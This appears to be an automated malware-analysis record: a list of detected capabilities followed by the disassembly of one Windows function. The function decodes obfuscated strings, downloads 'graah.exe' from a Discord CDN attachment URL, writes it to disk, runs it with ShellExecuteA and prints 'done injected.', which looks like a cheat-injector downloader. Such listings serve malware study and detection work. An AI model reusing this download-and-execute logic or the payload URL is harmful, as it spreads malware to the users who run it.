Function at 0x140007fa0
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows
Download and write a file
Execute command
Parse credit card information
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1600]
mov eax, 0x1700
call fcn.14000ef80
sub rsp, rax
mov rax, qword [0x140016040]
xor rax, rsp
mov qword [rbp + 0x15f0], rax
xor r12d, r12d
mov dword [rbp + 0xa0], 0xdb4dd96a
mov dword [rbp + 0xa4], 0xd742d576
mov dword [rbp + 0xa8], 0xd35ad147
mov dword [rbp + 0xac], 0xcf5acd7c
mov dword [rbp + 0xb0], 0xcb43c969
mov dword [rbp + 0xb4], 0xc754c559
mov dword [rbp + 0xb8], 0xc35fc102
mov dword [rbp + 0xbc], 0xbf1fbd30
mov dword [rbp + 0xc0], 0xbb27b96e
mov dword [rbp + 0xc4], 0xb72bb53c
mov word [rbp + 0xc8], 0xb1b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xca], xmm0
mov word [rbp + 0xda], ax
mov byte [rbp + 0xdc], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x381dadfea383d124
nop dword [rax]
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0xa0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 4
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0xa0], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x3d
jb 0x140008080
lea rcx, [rbp + 0xa0]
call fcn.14000c8f0
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14000846c
mov dword [rsp + 0x70], 0x33ca31c4
mov dword [rsp + 0x74], 0x37c535cd
mov dword [rsp + 0x78], 0xcb33c9e8
mov dword [rsp + 0x7c], 0xcfeecd3f
mov dword [rbp - 0x80], 0xc327c124
mov dword [rbp - 0x7c], 0xc723c532
mov dword [rbp - 0x78], 0xdb25d924
mov dword [rbp - 0x74], 0xdf3bdd2c
mov dword [rbp - 0x70], 0xd3f2d122
mov dword [rbp - 0x6c], 0xd733d522
mov dword [rbp - 0x68], 0xeb19e91a
mov dword [rbp - 0x64], 0xef11ed15
mov dword [rbp - 0x60], 0xe3c2e11e
mov dword [rbp - 0x5c], 0xe700e51b
mov dword [rbp - 0x58], 0xfb06f9d8
mov dword [rbp - 0x54], 0xff19fd19
mov dword [rbp - 0x50], 0xf30af10f
mov dword [rbp - 0x4c], 0xf77ef515
mov dword [rbp - 0x48], 0x8b8a89b6
xor eax, eax
mov qword [rbp - 0x44], rax
mov word [rbp - 0x3c], ax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x9de4d99756b026f8
nop dword [rax]
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rsp + rax + 0x70]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x38
mov rax, qword [rsp + 0x40]
mov byte [rsp + rax + 0x70], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x56
jb 0x140008190
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x2b0]
call fcn.1400053a0
nop
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140008200
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140001010
nop
lea rcx, [rbp + 0x2b0]
call fcn.140002810
mov dword [rbp + 0x280], 0x43e34dd4
mov dword [rbp + 0x284], 0x47e341ca
mov dword [rbp + 0x288], 0x3ba045a4
mov dword [rbp + 0x28c], 0x3fac39ad
mov dword [rbp + 0x290], 0x33323dee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x294], xmm0
mov qword [rbp + 0x2a4], rax
mov word [rbp + 0x2ac], ax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0xab7b7258291cab6
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x280]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 6
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x280], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x2e
jb 0x140008296
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x2b0]
call fcn.1400053a0
nop
lea rax, [rbp + 0x280]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140008300
mov r8, rbx
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2b0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140001010
nop
lea rcx, [rbp + 0x2b0]
call fcn.140002810
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1179868377116856482_1179868954211139665_graah.exe_ex657b5997is6568e497hm2e862aa16c70e7a27be1e847f073232931ff2e865cadc0847ec84b4a1abe9af4
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000843b
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.C:83128.exe
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
lea r9, [rbp + 0x5c8]
mov r8d, 0x1000
lea rdx, [rbp + 0x5f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140008429
nop dword [rax]
mov r8d, dword [rbp + 0x5c8]
test r8d, r8d
je 0x140008429
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x5e8]
lea rdx, [rbp + 0x5f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x5c8]
mov r8d, 0x1000
lea rdx, [rbp + 0x5f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400083e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:83128.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x14000935a
lea rcx, [0x140010bbc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, ebx
lea rcx, [rbp + 0x448]
call fcn.1400093e0
nop
mov dword [rbp + 0x210], 0x43d14dfa
mov dword [rbp + 0x214], 0x47da41e6
mov dword [rbp + 0x218], 0xbb3245d7
mov dword [rbp + 0x21c], 0xbf0eb9d8
mov dword [rbp + 0x220], 0xb3f6bd05
mov dword [rbp + 0x224], 0xb7d6b1fe
mov word [rbp + 0x228], 0xb5b4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x22a], xmm0
mov dword [rbp + 0x23a], eax
mov byte [rbp + 0x23e], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x7a95d8899f7a6c76
nop dword [rax]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x210]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x3a
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x210], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x2f
jb 0x140008500
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x368]
call fcn.1400053a0
nop
lea rax, [rbp + 0x210]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x140008571
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x368]
call fcn.1400053c0
nop
lea r9, [rbp + 0x448]
lea r8, [rbp + 0x368]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x468]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x468]
call fcn.140001010
nop
lea rcx, [rbp + 0x468]
call fcn.140002810
nop
lea rcx, [rbp + 0x368]
call fcn.140002810
nop
lea rcx, [rbp + 0x448]
call fcn.140002810
mov dword [rbp + 0x1f0], 0x8b33951f
mov dword [rbp + 0x1f4], 0x8f1c8915
mov dword [rbp + 0x1f8], 0x835e8d5c
mov dword [rbp + 0x1fc], 0x87808150
xor eax, eax
mov dword [rbp + 0x200], eax
mov word [rbp + 0x204], ax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0xef7529dc42e49a6d
nop
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x1f0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 5
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x1f0], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x16
jb 0x140008630
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x388]
call fcn.1400053a0
nop
lea rax, [rbp + 0x1f0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400086a0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x388]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x388]
call fcn.140001010
nop
lea rcx, [rbp + 0x388]
call fcn.140002810
lea rcx, [0x140010bbc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x30], 0x5be859e8
mov dword [rbp - 0x2c], 0x57e555e9
mov dword [rbp - 0x28], 0x533251e3
mov dword [rbp - 0x24], 0xaf18ad11
mov dword [rbp - 0x20], 0xab17a924
mov dword [rbp - 0x1c], 0xa7c6a516
mov dword [rbp - 0x18], 0xa314a119
mov dword [rbp - 0x14], 0xbf01bddc
mov dword [rbp - 0x10], 0xbb0fb919
mov dword [rbp - 0xc], 0xb7c0b509
mov dword [rbp - 8], 0xb3b2b1d0
xor eax, eax
mov qword [rbp - 4], rax
mov dword [rbp + 4], eax
mov byte [rbp + 8], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x4c72e756f98e2ef4
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax - 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x54
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax - 0x30], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x39
jb 0x140008760
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x3a8]
call fcn.1400053a0
nop
lea rax, [rbp - 0x30]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x1400087c1
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x3a8]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x3a8]
call fcn.140001010
nop
lea rcx, [rbp + 0x3a8]
call fcn.140002810
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rcx, [0x140010bbc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x18
call fcn.14000e150
mov r15, rax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax], r12
mov dword [rax + 8], r12d
mov rcx, rax
call fcn.140009d60
mov rcx, r15
call fcn.140009ef0
mov rdx, rax
lea rcx, [rbp + 0x568]
call fcn.14000cb50
mov rdi, rax
mov dword [rbp + 0x180], 0xb3d3b1f4
mov dword [rbp + 0x184], 0xb7d7b5c0
mov dword [rbp + 0x188], 0xcbb5c995
mov dword [rbp + 0x18c], 0xcfabcda8
mov dword [rbp + 0x190], 0xc388c1bc
mov dword [rbp + 0x194], 0xc7f6c5e4
mov dword [rbp + 0x198], 0xdbdad950
xor eax, eax
mov dword [rbp + 0x19c], eax
mov word [rbp + 0x1a0], ax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x5367f964416f07b8
nop
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x180]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 8
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x180], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x22
jb 0x1400088c0
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x3c8]
call fcn.1400053a0
nop
lea rax, [rbp + 0x180]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140008930
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x3c8]
call fcn.1400053c0
nop
mov r9, rdi
lea r8, [rbp + 0x3c8]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x428]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x428]
call fcn.140001010
nop
lea rcx, [rbp + 0x428]
call fcn.140002810
nop
lea rcx, [rbp + 0x3c8]
call fcn.140002810
nop
lea rcx, [rbp + 0x568]
call fcn.140002810
lea r8, str.Players
mov rdx, r15
lea rcx, [rbp + 0x5a8]
call fcn.14000cdb0
cmp byte [rax + 0x18], 0
je 0x14000938c
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x2f8], r15
mov qword [rbp + 0x300], r14
mov byte [rbp + 0x2f0], 1
lea rcx, [rbp + 0x2f0]
call fcn.14000b920
mov rdi, rax
mov rdx, r14
lea rcx, [rbp + 0x588]
call fcn.14000cb50
mov rsi, rax
mov dword [rbp + 0x240], 0x7b8479b6
mov dword [rbp + 0x244], 0x7ff77d99
mov dword [rbp + 0x248], 0x73827199
mov dword [rbp + 0x24c], 0x779375a7
mov dword [rbp + 0x250], 0xbfe0984
mov dword [rbp + 0x254], 0xfe90df1
mov dword [rbp + 0x258], 0x3ca01e9
mov dword [rbp + 0x25c], 0x7340522
mov dword [rbp + 0x260], 0x1b18198e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x264], xmm0
mov dword [rbp + 0x274], eax
mov byte [rbp + 0x278], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x602049fff18176af
nop
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x240]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x37
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x240], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x39
jb 0x140008a80
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x308]
call fcn.1400053a0
nop
lea rax, [rbp + 0x240]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140008af0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x308]
call fcn.1400053c0
nop
mov r9, rsi
lea r8, [rbp + 0x308]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x408]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x408]
call fcn.140001010
nop
lea rcx, [rbp + 0x408]
call fcn.140002810
nop
lea rcx, [rbp + 0x308]
call fcn.140002810
nop
lea rcx, [rbp + 0x588]
call fcn.140002810
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x140008b61
add r8, rdi
lea r9, [rsp + 0x48]
mov rdx, rdi
lea rcx, [rbp + 0x4c8]
call fcn.1400094a0
mov rdi, rax
mov dword [rbp + 0x60], 0xb8815a6
mov dword [rbp + 0x64], 0xf8709ad
mov dword [rbp + 0x68], 0x39a0d95
mov dword [rbp + 0x6c], 0x79b01b7
mov dword [rbp + 0x70], 0x7b8e0590
mov dword [rbp + 0x74], 0x7fdd79e5
mov dword [rbp + 0x78], 0x731c7de5
mov dword [rbp + 0x7c], 0x77d771c0
mov dword [rbp + 0x80], 0x6bef75e5
mov dword [rbp + 0x84], 0x6f086924
mov word [rbp + 0x88], 0x6d6e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8a], xmm0
mov word [rbp + 0x9a], ax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x74f512c6153e8c2d
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x60]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x3b
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x60], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x3c
jb 0x140008c01
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x328]
call fcn.1400053a0
nop
lea rax, [rbp + 0x60]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140008c60
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x328]
call fcn.1400053c0
nop
mov r9, rdi
lea r8, [rbp + 0x328]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x3e8]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x3e8]
call fcn.140001010
nop
lea rcx, [rbp + 0x3e8]
call fcn.140002810
nop
lea rcx, [rbp + 0x328]
call fcn.140002810
nop
lea rcx, [rbp + 0x4c8]
call fcn.140002810
mov rdx, r14
mov rcx, r15
call fcn.140009e50
mov rdi, rax
mov rdx, rax
lea rcx, [rbp + 0x508]
call fcn.14000cb50
mov rsi, rax
mov dword [rsp + 0x50], 0xdb4dd96c
mov dword [rsp + 0x54], 0xd777d577
mov dword [rsp + 0x58], 0xd362d144
mov dword [rsp + 0x5c], 0xcf6fcd58
mov dword [rsp + 0x60], 0xcb57c941
mov dword [rsp + 0x64], 0xc70cc556
mov dword [rsp + 0x68], 0xc312c120
mov dword [rsp + 0x6c], 0xbfbebd34
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x18c67a67c1fa6c24
nop
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rsp + rax + 0x50]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 4
mov rax, qword [rsp + 0x40]
mov byte [rsp + rax + 0x50], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x20
jb 0x140008d40
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x4e8]
call fcn.1400047b0
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x488]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x488]
call fcn.140001010
nop
lea rcx, [rbp + 0x488]
call fcn.140002810
nop
lea rcx, [rbp + 0x4e8]
call fcn.140002810
nop
lea rcx, [rbp + 0x508]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d0], xmm0
mov qword [rbp + 0x5d8], r15
mov qword [rbp + 0x5e0], rdi
mov byte [rbp + 0x5d0], 1
lea rcx, [rbp + 0x5d0]
call fcn.14000b920
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140008e13
add r8, rax
lea r9, [rsp + 0x49]
mov rdx, rax
lea rcx, [rbp + 0x548]
call fcn.1400094a0
mov rdi, rax
mov dword [rbp + 0x1b0], 0x73016d20
mov dword [rbp + 0x1b4], 0x77177117
mov dword [rbp + 0x1b8], 0x7b2a7518
mov dword [rbp + 0x1bc], 0x7f1f7914
mov dword [rbp + 0x1c0], 0x83e77d05
mov dword [rbp + 0x1c4], 0x87a681f6
mov dword [rbp + 0x1c8], 0x8beb85d6
mov dword [rbp + 0x1cc], 0x8feb89e5
mov dword [rbp + 0x1d0], 0x93b28db2
mov word [rbp + 0x1d4], 0x9190
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d6], xmm0
mov dword [rbp + 0x1e6], eax
mov byte [rbp + 0x1ea], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0xe953a7fd8c2d6eee
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x1b0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x7e
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x1b0], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x3b
jb 0x140008ec6
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x528]
call fcn.1400047b0
nop
mov r9, rdi
mov r8, rax
movzx edx, byte [rsp + 0x49]
lea rcx, [rbp + 0x4a8]
call fcn.1400097a0
nop
lea rcx, [rbp + 0x4a8]
call fcn.140001010
nop
lea rcx, [rbp + 0x4a8]
call fcn.140002810
nop
lea rcx, [rbp + 0x528]
call fcn.140002810
nop
lea rcx, [rbp + 0x548]
call fcn.140002810
mov dword [rbp + 0xe0], 0x4bcb55dc
mov dword [rbp + 0xe4], 0x4fc149d1
mov dword [rbp + 0xe8], 0x432b4ddd
mov dword [rbp + 0xec], 0x47d641d6
mov dword [rbp + 0xf0], 0x7bcc45d9
mov dword [rbp + 0xf4], 0x7f587934
mov dword [rbp + 0xf8], 0x73f47d2e
mov dword [rbp + 0xfc], 0x77257124
mov dword [rbp + 0x100], 0x6b3f7522
mov dword [rbp + 0x104], 0x6f2f6923
mov dword [rbp + 0x108], 0x633a6d25
mov dword [rbp + 0x10c], 0x6734612a
mov dword [rbp + 0x110], 0x9b646536
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x114], xmm0
mov word [rbp + 0x124], ax
mov byte [rbp + 0x126], al
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x4cd7f04d809e3b4d
nop
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0xe0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x1b
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0xe0], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x47
jb 0x140009020
movzx edx, byte [rsp + 0x49]
lea rcx, [rbp + 0x348]
call fcn.1400053a0
nop
lea rax, [rbp + 0xe0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140009090
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x348]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x348]
call fcn.140001010
nop
lea rcx, [rbp + 0x348]
call fcn.140002810
mov dword [rbp + 0x10], 0x9b339926
mov dword [rbp + 0x14], 0xe75be557
mov dword [rbp + 0x18], 0xe356e141
mov dword [rbp + 0x1c], 0xef58ed41
mov dword [rbp + 0x20], 0xeb43e947
mov dword [rbp + 0x24], 0xf75bf542
mov dword [rbp + 0x28], 0xf392f18a
mov dword [rbp + 0x2c], 0xff46fd8c
mov dword [rbp + 0x30], 0xfb89f98a
mov dword [rbp + 0x34], 0xc7bbc5b8
mov dword [rbp + 0x38], 0xc383c1bf
mov dword [rbp + 0x3c], 0xcfbccdb1
mov dword [rbp + 0x40], 0xcbb6c9b0
mov dword [rbp + 0x44], 0xd7d6d5a4
xor eax, eax
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], eax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0x9bf7ceaf5471143c
nop word [rax + rax]
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x10]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x5c
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x10], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x44
jb 0x140009150
movzx edx, byte [rsp + 0x49]
lea rcx, [rbp + 0x2d0]
call fcn.1400053a0
nop
lea rax, [rbp + 0x10]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400091b0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x2d0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140001010
nop
lea rcx, [rbp + 0x2d0]
call fcn.140002810
mov dword [rbp + 0x130], 0x43b641bd
mov dword [rbp + 0x134], 0x5fa35dcc
mov dword [rbp + 0x138], 0x5bd459a8
mov dword [rbp + 0x13c], 0x57a655ab
mov dword [rbp + 0x140], 0x539a51dd
mov dword [rbp + 0x144], 0x6f5c6d72
mov dword [rbp + 0x148], 0x6b5a69e6
mov dword [rbp + 0x14c], 0x67a865a7
mov dword [rbp + 0x150], 0x635061aa
mov dword [rbp + 0x154], 0x7fa07daf
mov dword [rbp + 0x158], 0x7bbb794c
mov dword [rbp + 0x15c], 0x774475a7
mov word [rbp + 0x160], 0x7176
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x162], xmm0
mov qword [rbp + 0x172], rax
mov dword [rbp + 0x17a], eax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
movabs r9, 0xda747a588199470b
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax + 0x130]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4d
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax + 0x130], r8b
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x4e
jb 0x140009293
movzx edx, byte [rsp + 0x49]
lea rcx, [rbp + 0x2d0]
call fcn.1400053a0
nop
lea rax, [rbp + 0x130]
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140009300
mov r8, rbx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x2d0]
call fcn.1400053c0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140001010
nop
lea rcx, [rbp + 0x2d0]
call fcn.140002810
lea rdx, str.done_injected.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400095f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x15f0]
xor rcx, rsp
call fcn.14000e010
lea r11, [rsp + 0x1700]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140007f10
int3